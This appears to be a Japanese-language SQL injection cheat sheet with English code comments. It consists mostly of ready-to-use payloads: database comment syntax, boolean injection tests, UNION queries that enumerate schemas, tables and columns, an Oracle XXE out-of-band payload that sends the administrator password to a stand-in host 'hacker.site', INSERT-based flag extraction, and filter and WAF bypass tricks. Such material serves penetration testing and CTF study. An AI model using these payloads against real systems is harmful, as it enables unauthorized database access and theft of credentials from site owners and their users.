MySQL#comment-- comment [Note the space after the double dash]/*comment*//*! MYSQL Special SQL */PostgreSQL--comment/*comment*/MSQL--comment/*comment*/Oracle--commentSQLite--comment/*comment*/HQLHQL does not support comments
論理演算による確認
SQLインジェクションの脆弱性を確認する信頼できる方法は、論理演算を実行し、期待される結果を観察することです。例えば、?username=PeterというGETパラメータが?username=Peter' or '1'='1に変更しても同じ内容が得られる場合、SQLインジェクションの脆弱性が示されます。
page.asp?id=1 or 1=1 -- results in true
page.asp?id=1' or 1=1 -- results in true
page.asp?id=1" or 1=1 -- results in true
page.asp?id=1 and 1=2 -- results in false
#Database names-1' UniOn Select 1,2,gRoUp_cOncaT(0x7c,schema_name,0x7c) fRoM information_schema.schemata#Tables of a database-1'UniOnSelect1,2,3,gRoUp_cOncaT(0x7c,table_name,0x7C) fRoM information_schema.tables wHeRe table_schema=[database]#Column names-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,column_name,0x7C) fRoM information_schema.columns wHeRe table_name=[table name]
a' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT password FROM users WHERE username='administrator')||'.hacker.site/"> %remote;]>'),'/l') FROM dual-- -
SQLi payload:
username=TEST&password=TEST&email=TEST'),('otherUsername','otherPassword',(select flag from flag limit 1))-- -
A new user with username=otherUsername, password=otherPassword, email:FLAG will be created
'+(select hex(replace(replace(replace(replace(replace(replace(table_name,"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
'+(select hex(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
#Full ascii uppercase and lowercase replace:'+(select hex(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%"),"z","&"),"J","'"),"K","`"),"L","("),"M",")"),"N","@"),"O","$$"),"Z","&&")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
#Hex of: -1' union select login,password from users-- a
-1' union select 0x2d312720756e696f6e2073656c656374206c6f67696e2c70617373776f72642066726f6d2075736572732d2d2061 -- a
LIMIT 0,1 -> LIMIT 1 OFFSET 0
SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1).
SELECT 1,2,3,4 -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d
Generic Bypasses
キーワードを使用したブラックリスト - 大文字/小文字を使用してバイパス
?id=1AND1=1#?id=1AnD1=1#?id=1aNd1=1#
キーワードを無視してブラックリスト - 同等の演算子を使用してバイパス
AND -> && -> %26%26
OR -> || -> %7C%7C
= -> LIKE,REGEXP,RLIKE, not < and not >
> X -> not between 0 and X
WHERE -> HAVING --> LIMIT X,1 -> group_concat(CASE(table_schema)When(database())Then(table_name)END) -> group_concat(if(table_schema=database(),table_name,null))
科学的表記法 WAF バイパス
このトリックの詳細な説明は gosecure blog で見つけることができます。
基本的に、科学的表記法を予期しない方法で使用することで、WAF をバイパスできます:
-1' or 1.e(1) or '1'='1
-1' or 1337.1337e1 or '1'='1
' or 1.e('')=
カラム名制限のバイパス
まず第一に、元のクエリとフラグを抽出したいテーブルが同じ数のカラムを持っている場合、単に次のようにすることができます: 0 UNION SELECT * FROM flag
カラム名を使用せずにテーブルの第三カラムにアクセスすることが可能です。次のようなクエリを使用します: SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F; したがって、sqlinjectionでは次のようになります:
# This is an example with 3 columns that will extract the column number 3-1UNIONSELECT0,0,0,F.3FROM (SELECT 1,2,3UNIONSELECT*FROMdemo)F;
または カンマバイパス を使用する:
# In this case, it's extracting the third value from a 4 values table and returning 3 values in the "union select"-1 union select * from (select 1)a join (select 2)b join (select F.3 from (select * from (select 1)q join (select 2)w join (select 3)e join (select 4)r union select * from flag limit 1 offset 5)F)c